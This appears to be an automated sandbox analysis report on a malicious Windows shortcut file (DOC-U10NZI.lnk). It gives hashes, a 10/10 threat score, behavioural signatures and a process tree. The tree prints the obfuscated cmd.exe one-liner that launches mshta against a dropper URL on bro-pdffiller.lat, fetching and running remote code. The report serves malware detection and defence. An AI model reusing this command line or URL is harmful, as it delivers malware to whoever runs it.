Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
03/08/2026, 13:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-U10NZI.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-U10NZI.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-U10NZI.lnk
- Size 1KB
- Sample260803-qpfcvazcmd
- SHA256 ed4385927a90535e572c1e5f5bb5c6754f01e12b135f9eae4d106b5414721c75
- MD5 31d18ea20928f34631e8d98ab8f8b842
- SHA1 9783223e74cffd3db3f259884b122b658df69f5d
- SHA512 10f97f40afc5f7a93a864082dffad7b1e79bdfba1898f14fedfca4d08579c85ff21b41264f38858bfc567e6de34ca041ce701192455753d40f7f0c94c91b495b
- TLSH T15931C6003FFD0628F3F39EB389BB5B2086BBF9668E20C61D00414A0C1432A04E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5084 cmd.exe 5028 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5028 wrote to memory of 5084 5028 cmd.exe 86 PID 5084 wrote to memory of 2080 5084 cmd.exe 87
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-U10NZI.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5028 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set DfM=msh&&set CgA=ta&&start "" !DfM!!CgA! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5084 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F157943⤵PID:2080
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